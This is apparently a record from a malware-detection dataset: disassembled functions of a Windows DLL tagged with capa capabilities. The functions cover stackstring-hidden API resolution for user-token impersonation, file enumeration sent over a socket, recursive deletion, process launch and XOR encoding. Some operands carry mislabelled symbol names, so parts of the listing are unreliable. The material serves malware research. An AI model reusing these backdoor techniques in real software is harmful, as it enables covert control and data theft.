joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180009660
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xb0
mov rax, qword [0x1800438e8]
xor rax, rsp
mov qword [rbp + 0x4f], rax
lea rcx, [rbp - 0x11]
mov dword [rbp - 0x11], 0x4e52454b
mov dword [rbp - 0xd], 0x32334c45
mov dword [rbp - 9], 0x6c6c642e
mov byte [rbp - 5], 0
mov dword [rbp + 0x2f], 0x47535457
mov dword [rbp + 0x33], 0x63417465
mov dword [rbp + 0x37], 0x65766974
mov dword [rbp + 0x3b], 0x736e6f43
mov dword [rbp + 0x3f], 0x53656c6f
mov dword [rbp + 0x43], 0x69737365
mov dword [rbp + 0x47], 0x64496e6f
mov byte [rbp + 0x4b], 0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x1800096f0
lea rcx, [rbp - 0x11]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
jne 0x1800096f0
xor edi, edi
jmp 0x180009700
lea rdx, [rbp + 0x2f]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea rcx, [rbp - 0x21]
mov qword [rsp + 0xc0], rbx
mov dword [rbp - 0x21], 0x41535457
mov dword [rbp - 0x1d], 0x32334950
mov dword [rbp - 0x19], 0x6c6c642e
mov byte [rbp - 0x15], 0
mov dword [rbp - 1], 0x51535457
mov dword [rbp + 3], 0x79726575
mov dword [rbp + 7], 0x72657355
mov dword [rbp + 0xb], 0x656b6f54
mov word [rbp + 0xf], WSAGetLastError
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x180009765
lea rcx, [rbp - 0x21]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
jne 0x180009765
xor ebx, ebx
jmp 0x180009775
lea rdx, [rbp - 1]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, [rbp - 0x31]
mov dword [rbp - 0x31], 0x41564441
mov dword [rbp - 0x2d], 0x32334950
mov dword [rbp - 0x29], 0x6c6c642e
mov byte [rbp - 0x25], 0
mov dword [rbp + 0x17], 0x65706d49
mov dword [rbp + 0x1b], 0x6e6f7372
mov dword [rbp + 0x1f], 0x4c657461
mov dword [rbp + 0x23], 0x6567676f
mov dword [rbp + 0x27], 0x556e4f64
mov dword [rbp + 0x2b], 0x726573
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x1800097d6
lea rcx, [rbp - 0x31]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x1800097e3
lea rdx, [rbp + 0x17]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x39], 0
test rdi, rdi
je 0x18000980e
test rbx, rbx
je 0x18000980e
test rax, rax
je 0x18000980e
call rdi
lea rdx, [rbp - 0x39]
mov ecx, eax
call rbx
test eax, eax
je 0x18000980e
mov rax, qword [rbp - 0x39]
jmp 0x180009810
xor eax, eax
mov rbx, qword [rsp + 0xc0]
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.18001be70
mov rdi, qword [rsp + 0xc8]
add rsp, 0xb0
pop rbp
ret
Function at 0x180009b20
Capabilities:
Enumerate files on windows

Disassembly:
push rbx
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x4b8
mov rax, qword [0x1800438e8]
xor rax, rsp
mov qword [rsp + 0x4a0], rax
mov r15, rcx
mov dword [rcx + 0x54], 0x22
mov rcx, rdx
mov rdi, rdx
mov r12d, 0x2800
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rdx, eax
lea rax, [0x1800399e8]
lea r9, [0x180039a84]
cmp word [rdi + rdx*2 - 2], 0x5c
lea rcx, [rsp + 0x290]
lea rdx, [rsp + 0x280]
cmove r9, rax
mov r8, rdi
mov dword [rsp + 0x280], 0x730025
mov dword [rsp + 0x284], 0x730025
mov dword [rsp + 0x288], 0x2e002a
mov dword [rsp + 0x28c], gethostbyname
xor r14d, r14d
call qword [sym.imp.USER32.dll_wsprintfW]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x290]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov r13, rax
cmp rax, 0xffffffffffffffff
jne 0x180009c09
mov byte [rsp + 0x20], 0x21
cmp dword [r15 + 0x10], r14d
jne 0x180009d27
mov rcx, qword [r15 + 8]
lea r8d, [r14 + 1]
lea rdx, [rsp + 0x20]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov r14d, eax
jmp 0x180009d27
mov rdx, r12
mov ecx, 0x40
mov qword [rsp + 0x500], rbp
mov qword [rsp + 0x4b0], rsi
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebx, 1
mov byte [rax], 0x21
mov rbp, rax
lea ecx, [r12 - 0x208]
cmp ebx, ecx
jbe 0x180009c5a
add r12d, 0x208
mov r8d, 0x42
mov rcx, rbp
mov edx, r12d
call qword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov rbp, rax
lea rsi, [rsp + 0x5c]
lea rdi, [0x180039a94]
mov ecx, 2
repe cmpsw word [rsi], word [rdi]
je 0x180009cd6
lea rsi, [rsp + 0x5c]
lea rdi, [0x180039a98]
mov ecx, 3
repe cmpsw word [rsi], word [rdi]
je 0x180009cd6
movzx ecx, byte [rsp + 0x30]
mov eax, ebx
inc ebx
and cl, 0x10
mov byte [rax + rbp], cl
lea rcx, [rsp + 0x5c]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, ebx
lea rdx, [rsp + 0x5c]
lea edi, [rax + rax + 2]
add rcx, rbp
movsxd r8, edi
call fcn.18001bea0
mov eax, dword [rsp + 0x4c]
add ebx, edi
mov dword [rbx + rbp], eax
mov eax, dword [rsp + 0x50]
mov dword [rbx + rbp + 4], eax
mov rax, qword [rsp + 0x44]
add ebx, 8
mov qword [rbx + rbp], rax
add ebx, 8
lea rdx, [rsp + 0x30]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x180009c32
mov rsi, qword [rsp + 0x4b0]
cmp dword [r15 + 0x10], r14d
jne 0x180009d0d
mov rcx, qword [r15 + 8]
mov r8d, ebx
mov rdx, rbp
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov r14d, eax
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rbp, qword [rsp + 0x500]
mov eax, r14d
mov rcx, qword [rsp + 0x4a0]
xor rcx, rsp
call fcn.18001be70
add rsp, 0x4b8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rbx
ret
Function at 0x180009d50
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x5e0]
sub rsp, 0x6e0
mov rax, qword [0x1800438e8]
xor rax, rsp
mov qword [rbp + 0x5d0], rax
mov rdi, rcx
mov rbx, rdx
lea rcx, [rbp + 0x3c0]
xor edx, edx
mov r8d, 0x208
call fcn.180021060
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rsi, [0x180039a84]
lea rcx, [rbp + 0x3c0]
movsxd rdx, eax
lea rax, [0x1800399e8]
mov r8, rbx
cmp word [rbx + rdx*2 - 2], 0x5c
lea rdx, [rbp + 0x1a0]
mov dword [rbp + 0x1a0], 0x730025
cmove rsi, rax
mov dword [rbp + 0x1a4], 0x730025
mov dword [rbp + 0x1a8], 0x2e002a
mov r9, rsi
mov dword [rbp + 0x1ac], 0x2a
call qword [sym.imp.USER32.dll_wsprintfW]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x3c0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov qword [rsp + 0x30], rax
cmp rax, 0xffffffffffffffff
jne 0x180009e1c
xor al, al
jmp 0x180009ef4
xor eax, eax
mov dword [rbp + 0x190], 0x730025
mov dword [rbp + 0x194], 0x730025
mov word [rbp + 0x19c], ax
mov dword [rbp + 0x198], 0x730025
cmp word [rsp + 0x6c], 0x2e
je 0x180009ec3
test byte [rsp + 0x40], 0x10
lea rax, [rsp + 0x6c]
mov r9, rsi
mov r8, rbx
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x1b0]
mov qword [rsp + 0x20], rax
je 0x180009e87
call qword [sym.imp.USER32.dll_wsprintfW]
lea rdx, [rbp + 0x1b0]
mov rcx, rdi
call fcn.180009d50
jmp 0x180009ec3
call qword [sym.imp.USER32.dll_wsprintfW]
test byte [rsp + 0x40], 1
je 0x180009ea6
lea rcx, [rbp + 0x1b0]
mov edx, 0x80
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp byte [rdi + 0x278], 0
lea rcx, [rbp + 0x1b0]
je 0x180009ebd
call fcn.18000b6b0
jmp 0x180009ec3
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rsp + 0x30]
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x180009e43
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
setne al
mov rcx, qword [rbp + 0x5d0]
xor rcx, rsp
call fcn.18001be70
mov rbx, qword [rsp + 0x710]
add rsp, 0x6e0
pop rdi
pop rsi
pop rbp
ret
Function at 0x180009f20
Capabilities:
Get file size

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r14, rdx
mov rbp, rcx
mov r8d, 0x208
xor edx, edx
add rcx, 0x68
call fcn.180021060
lea rcx, [rbp + 0x68]
mov r8, r14
mov edx, 0x104
call fcn.18001c6dc
mov rcx, qword [rbp + 0x58]
cmp rcx, 0xffffffffffffffff
je 0x180009f74
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r13d, r13d
xor r9d, r9d
mov edx, 0x80000000
mov qword [rsp + 0x30], r13
lea r8d, [r13 + 1]
mov rcx, r14
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
lea rdx, [rsp + 0x70]
mov rcx, rax
mov esi, r13d
mov qword [rbp + 0x58], rax
setne sil
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov rcx, r14
mov edi, eax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [r13 + 0x40]
lea r15d, [rax + rax + 0xb]
movsxd rbx, r15d
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov r8, rbx
xor edx, edx
mov rcx, rax
mov r12, rax
call fcn.180021060
mov byte [r12], 0x23
mov eax, dword [rsp + 0x70]
mov rcx, r14
mov dword [r12 + 1], eax
mov dword [r12 + 5], edi
mov dword [r12 + 9], esi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [r12 + 9]
inc eax
mov rdx, r14
movsxd r8, eax
add r8, r8
call fcn.18001bea0
cmp dword [rbp + 0x10], r13d
jne 0x18000a03d
mov rcx, qword [rbp + 8]
mov r8d, r15d
mov rdx, r12
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov r13d, eax
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LocalFree]
lea r11, [rsp + 0x40]
mov eax, r13d
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret

Function at 0x18000a070
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x30
cmp dword [rdx], 0xffffffff
mov rdi, rdx
mov rbx, rcx
jne 0x18000a08f
cmp dword [rdx + 4], 0xffffffff
je 0x18000a114
mov rcx, qword [rcx + 0x58]
mov r8, rdx
mov edx, dword [rdx + 4]
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov rax, qword [rbx + 0x30]
xor r11d, r11d
mov dword [rsp + 0x40], r11d
mov byte [rax], 0x24
mov rcx, qword [rbx + 0x30]
mov rax, qword [rdi]
lea r9, [rsp + 0x40]
mov r8d, 0x3fff7
mov qword [rcx + 1], rax
mov eax, dword [rdi + 8]
mov qword [rsp + 0x20], r11
mov dword [rcx + 9], eax
mov rdx, qword [rbx + 0x30]
mov rcx, qword [rbx + 0x58]
add rdx, 9
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov r8d, dword [rsp + 0x40]
test r8d, r8d
je 0x18000a111
cmp dword [rbx + 0x10], 0
jne 0x18000a119
mov rcx, qword [rbx + 8]
mov rdx, qword [rbx + 0x30]
add r8d, 9
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rbx, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
mov rcx, rbx
call fcn.18000a130
mov rbx, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
Function at 0x18000a930
Capabilities:
Write file on windows

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x1800438e8]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov eax, dword [rdx]
mov rbx, rdx
mov edx, dword [rdx + 4]
mov rsi, rcx
mov rcx, qword [rcx + 0x60]
mov edi, r8d
lea r8, [rsp + 0x30]
xor r9d, r9d
mov dword [rsp + 0x30], eax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov rcx, qword [rsi + 0x60]
lea rdx, [rbx + 8]
lea r8d, [rdi - 8]
lea r9, [rsp + 0x34]
xor ebx, ebx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rsi + 0x60]
lea r9d, [rbx + 1]
lea r8, [rsp + 0x30]
xor edx, edx
mov dword [rsp + 0x30], ebx
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, dword [rsp + 0x30]
mov dword [rsp + 0x39], ecx
mov byte [rsp + 0x38], reloc.WS2_32.dll_gethostbyname
mov dword [rsp + 0x3d], eax
cmp dword [rsi + 0x10], ebx
jne 0x18000a9cb
mov rcx, qword [rsi + 8]
lea r8d, [rbx + 9]
lea rdx, [rsp + 0x38]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.18001be70
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret

Function at 0x18000a9e0
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x90
mov rbx, rdx
xor edx, edx
mov rdi, rcx
lea r8d, [rdx + 0x6c]
lea rcx, [rsp + 0x24]
call fcn.180021060
xor ecx, ecx
lea rax, str.WinRAR
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x50], ecx
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], reloc.WS2_32.dll_WSASetLastError
mov dword [rsp + 0x24], 0x40
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rbx
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x18000aa83
mov rcx, qword [rsp + 0x88]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rdi + 0x10], 0
mov byte [rsp + 0xa8], gethostbyname
jne 0x18000aa83
mov rcx, qword [rdi + 8]
lea rdx, [rsp + 0xa8]
mov r8d, 1
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rbx, qword [rsp + 0xa0]
add rsp, 0x90
pop rdi
ret
Function at 0x18000ae10
Capabilities:
Get common file path
Get disk information

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x290
mov rax, qword [0x1800438e8]
xor rax, rsp
mov qword [rsp + 0x280], rax
xor eax, eax
mov rbx, rcx
xor edi, edi
lea rcx, [rsp + 0x70]
mov edx, 0x208
mov word [rsp + 0x58], di
mov qword [rsp + 0x5a], rax
mov dword [rsp + 0x62], eax
mov word [rsp + 0x66], ax
mov dword [rsp + 0x40], edi
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
je 0x18000ae6d
mov eax, 0x43
mov word [rsp + 0x70], ax
jmp 0x18000ae72
movzx eax, word [rsp + 0x70]
mov dword [rsp + 0x38], edi
mov word [rsp + 0x58], ax
mov eax, 0x3a
mov qword [rsp + 0x30], rdi
lea r9, [rsp + 0x40]
lea rcx, [rsp + 0x58]
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x28], rdi
mov word [rsp + 0x5a], ax
mov dword [rsp + 0x5c], 0x5c
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
mov r8d, dword [rsp + 0x40]
mov rcx, rbx
imul r8d, r8d, 0x14a30b
sub r8d, 0x69427551
mov edx, r8d
imul edx, edx, 0x14a30b
sub edx, 0x69427551
imul edx, edx, 0x14a30b
sub edx, 0x69427551
mov eax, edx
movzx r9d, dx
lea rdx, str._08lX_04lX_lu
imul eax, eax, 0x14a30b
sub eax, 0x69427551
imul eax, eax, 0x14a30b
sub eax, 0x69427551
imul eax, eax, 0x14a30b
sub eax, 0x69427551
mov byte [rsp + 0x52], al
imul eax, eax, 0x14a30b
sub eax, 0x69427551
mov byte [rsp + 0x53], al
imul eax, eax, 0x14a30b
sub eax, 0x69427551
mov byte [rsp + 0x54], al
imul eax, eax, 0x14a30b
sub eax, 0x69427551
mov byte [rsp + 0x55], al
imul eax, eax, 0x14a30b
sub eax, 0x69427551
imul eax, eax, 0x14a30b
sub eax, 0x69427551
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x52]
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_wsprintfW]
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.18001be70
mov rbx, qword [rsp + 0x2a8]
add rsp, 0x290
pop rdi
ret

Function at 0x18000af90
Capabilities:
Create shortcut via ishelllink

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rbx, rcx
xor ecx, ecx
mov rdi, rdx
call qword [sym.imp.ole32.dll_CoInitialize]
xor edx, edx
lea rax, [rsp + 0x50]
lea r9, [0x180035820]
lea rcx, [0x180035800]
lea r8d, [rdx + 1]
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x20], rax
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jns 0x18000afe6
xor al, al
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x58], 0
lea r8, [rsp + 0x58]
mov rax, qword [rcx]
lea rdx, [0x1800357f0]
call qword [rax]
test eax, eax
js 0x18000afd9
mov rcx, qword [rsp + 0x50]
xor r8d, r8d
mov rdx, rbx
mov rax, qword [rcx]
call qword [rax + 0x28]
test eax, eax
js 0x18000afd9
mov rcx, qword [rsp + 0x58]
xor eax, eax
xor r9d, r9d
mov qword [rdi], rax
mov rax, qword [rcx]
mov r8d, 0x104
mov rdx, rdi
mov dword [rsp + 0x20], 0
call qword [rax + 0x18]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov rbx, qword [rsp + 0x40]
mov al, 1
add rsp, 0x30
pop rdi
ret
Function at 0x18000b060
Capabilities:
Enumerate files on windows
Get common file path
Get program files directory

Disassembly:
push rbp
push rdi
push r13
push r14
push r15
lea rbp, [rsp - 0x9d0]
sub rsp, 0xad0
mov rax, qword [0x1800438e8]
xor rax, rsp
mov qword [rbp + 0x9c0], rax
xor r9d, r9d
mov r15, rcx
lea rdx, [rbp + 0x180]
lea r8d, [r9 + 0x13]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea rcx, [rbp + 0x180]
mov r13d, 0x2800
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rdi, [0x180039a84]
lea r8, [rbp + 0x180]
movsxd rcx, eax
lea rax, [0x1800399e8]
lea rdx, [0x180039ad8]
cmp word [rbp + rcx*2 + 0x17e], 0x5c
lea rcx, [rbp + 0x7b0]
mov dword [rbp + 0x170], 0x730025
cmove rdi, rax
mov dword [rbp + 0x174], 0x730025
mov dword [rbp + 0x178], 0x2e002a
mov r9, rdi
mov dword [rbp + 0x17c], 0x2a
call qword [sym.imp.USER32.dll_wsprintfW]
lea r8, [rbp + 0x180]
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0x390]
mov r9, rdi
call qword [sym.imp.USER32.dll_wsprintfW]
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x390]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x18000b2ca
mov qword [rsp + 0xb08], rbx
mov edx, r13d
mov ecx, 0x40
mov qword [rsp + 0xb10], rsi
mov qword [rsp + 0xb18], r12
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov byte [rax], 0x35
mov rbx, rax
mov r12d, 1
nop dword [rax + rax]
lea ecx, [r13 - 0x208]
cmp r12d, ecx
jbe 0x18000b1b8
add r13d, 0x208
mov r8d, 0x42
mov rcx, rbx
mov edx, r13d
call qword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov rbx, rax
lea rsi, [rsp + 0x4c]
lea rdi, [0x180039a94]
mov ecx, 2
repe cmpsw word [rsi], word [rdi]
je 0x18000b277
lea rsi, [rsp + 0x4c]
lea rdi, [0x180039a98]
mov ecx, 3
repe cmpsw word [rsi], word [rdi]
je 0x18000b277
lea rdx, [rsp + 0x4c]
lea rcx, [0x180039ae4]
call fcn.18001cf44
lea r9, [rsp + 0x4c]
lea r8, [rbp + 0x7b0]
lea rdx, [0x180039ad8]
lea rcx, [rbp + 0x5a0]
call qword [sym.imp.USER32.dll_wsprintfW]
mov ecx, 0x208
call fcn.18001ab88
lea rcx, [rbp + 0x5a0]
mov rsi, rax
xor eax, eax
mov rdx, rsi
mov qword [rsi], rax
call fcn.18000af90
test al, al
je 0x18000b277
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rdx, rsi
lea edi, [rax + rax + 2]
mov eax, r12d
lea rcx, [rax + rbx + 4]
movsxd r8, edi
mov dword [rax + rbx], edi
call fcn.18001bea0
lea r12d, [r12 + rdi + 4]
test rsi, rsi
je 0x18000b277
mov rcx, rsi
call fcn.18001c9dc
lea rdx, [rsp + 0x20]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x18000b190
mov rsi, qword [rsp + 0xb10]
cmp r12d, 1
je 0x18000b2ba
cmp dword [r15 + 0x10], eax
jne 0x18000b2b1
mov rcx, qword [r15 + 8]
mov r8d, r12d
mov rdx, rbx
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rbx, qword [rsp + 0xb08]
mov r12, qword [rsp + 0xb18]
mov rcx, qword [rbp + 0x9c0]
xor rcx, rsp
call fcn.18001be70
add rsp, 0xad0
pop r15
pop r14
pop r13
pop rdi
pop rbp
ret
Function at 0x18000b2f0
Capabilities:
Move file

Disassembly:
mov r11, rsp
push rdi
sub rsp, 0x2a0
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rsi
mov rax, qword [0x1800438e8]
xor rax, rsp
mov qword [rsp + 0x290], rax
mov rbx, rcx
mov r8, rcx
mov edx, 0x208
lea rcx, [r11 - 0x228]
call fcn.18001d360
lea r8, [0x180039aec]
mov edx, 0x208
lea rcx, [rsp + 0x80]
call fcn.18001d4d4
mov qword [rsp + 0x68], socket
xor esi, esi
mov qword [rsp + 0x60], rsi
mov byte [rsp + 0x50], sil
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x80]
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x50]
call fcn.18000e870
nop
mov qword [rsp + 0x40], socket
mov qword [rsp + 0x38], rsi
mov byte [rsp + 0x28], sil
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
mov rdx, rbx
lea rcx, [rsp + 0x28]
call fcn.18000e870
nop
mov rax, qword [0x180046e60]
test rax, rax
jne 0x18000b3ef
lea ecx, [rsi + 0x18]
call fcn.18001c518
test rax, rax
je 0x18000b3e5
mov byte [rax], 0x64
mov qword [rax + 8], rsi
mov dword [rax + 0x10], esi
jmp 0x18000b3e8
mov rax, rsi
mov qword [0x180046e60], rax
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x28]
mov rcx, rax
call fcn.1800156a0
nop
cmp qword [rsp + 0x40], 0x10
jb 0x18000b414
mov rcx, qword [rsp + 0x28]
call fcn.18001be54
mov qword [rsp + 0x40], socket
mov qword [rsp + 0x38], rsi
mov byte [rsp + 0x28], 0
cmp qword [rsp + 0x68], 0x10
jb 0x18000b439
mov rcx, qword [rsp + 0x50]
call fcn.18001be54
mov rcx, rbx
call fcn.18001cf14
mov rdx, rbx
lea rcx, [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_MoveFileA]
mov rcx, qword [rsp + 0x290]
xor rcx, rsp
call fcn.18001be70
lea r11, [rsp + 0x2a0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x18000b480
Capabilities:
Encode data using xor
Move file

Disassembly:
mov rax, rsp
push rbp
push rdi
push r12
lea rbp, [rax - 0x1b8]
sub rsp, 0x2a0
mov qword [rsp + 0x28], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov rax, qword [0x1800438e8]
xor rax, rsp
mov qword [rbp + 0x190], rax
mov rsi, rcx
mov r8, rcx
mov edx, 0x208
lea rcx, [rbp - 0x80]
call fcn.18001d360
lea r8, [0x180039aec]
mov edx, 0x208
lea rcx, [rbp - 0x80]
call fcn.18001d4d4
mov qword [rsp + 0x70], socket
xor r12d, r12d
mov qword [rsp + 0x68], r12
mov byte [rsp + 0x58], r12b
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp - 0x80]
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x58]
call fcn.18000e870
nop
mov qword [rsp + 0x48], socket
mov qword [rsp + 0x40], r12
mov byte [rsp + 0x30], r12b
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rsi
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
mov rdx, rsi
lea rcx, [rsp + 0x30]
call fcn.18000e870
nop
mov rdi, qword [0x180046e60]
test rdi, rdi
jne 0x18000b57e
lea ecx, [rdi + 0x18]
call fcn.18001c518
mov rdi, rax
test rax, rax
je 0x18000b574
mov byte [rax], 0x64
mov qword [rax + 8], r12
mov dword [rax + 0x10], r12d
jmp 0x18000b577
mov rdi, r12
mov qword [0x180046e60], rdi
mov dword [rsp + 0x20], r12d
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x30]
call fcn.1800150c0
mov rbx, rax
movsxd rax, dword [rdi + 0x10]
test eax, eax
jne 0x18000b5cc
movsxd r8, dword [rsp + 0x20]
mov rdx, r8
test r8d, r8d
jle 0x18000b5bd
mov rcx, rbx
nop dword [rax]
movzx eax, byte [rdi]
xor byte [rcx], al
inc rcx
dec rdx
jne 0x18000b5b0
mov rdx, rbx
lea rcx, [rsp + 0x58]
call fcn.180015460
jmp 0x18000b634
mov r8, rax
mov rdx, qword [rdi + 8]
mov rcx, rbx
call fcn.18002aee0
test eax, eax
jne 0x18000b620
movsxd rcx, dword [rdi + 0x10]
lea r9, [rbx + rcx]
mov r8d, dword [rsp + 0x20]
mov eax, r8d
sub eax, ecx
movsxd rdx, eax
test eax, eax
jle 0x18000b60d
mov rcx, r9
nop dword [rax + rax]
movzx eax, byte [rdi]
xor byte [rcx], al
inc rcx
dec rdx
jne 0x18000b600
sub r8d, dword [rdi + 0x10]
mov rdx, r9
lea rcx, [rsp + 0x58]
call fcn.180015460
jmp 0x18000b634
lea rcx, [0x18003a0b8]
call fcn.180019dd0
mov rcx, rax
call fcn.180015050
mov rcx, rbx
call fcn.18001c9dc
nop
cmp qword [rsp + 0x48], 0x10
jb 0x18000b64f
mov rcx, qword [rsp + 0x30]
call fcn.18001be54
mov qword [rsp + 0x48], socket
mov qword [rsp + 0x40], r12
mov byte [rsp + 0x30], 0
cmp qword [rsp + 0x70], 0x10
jb 0x18000b674
mov rcx, qword [rsp + 0x58]
call fcn.18001be54
mov rcx, rsi
call fcn.18001cf14
mov rdx, rsi
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_MoveFileA]
mov rcx, qword [rbp + 0x190]
xor rcx, rsp
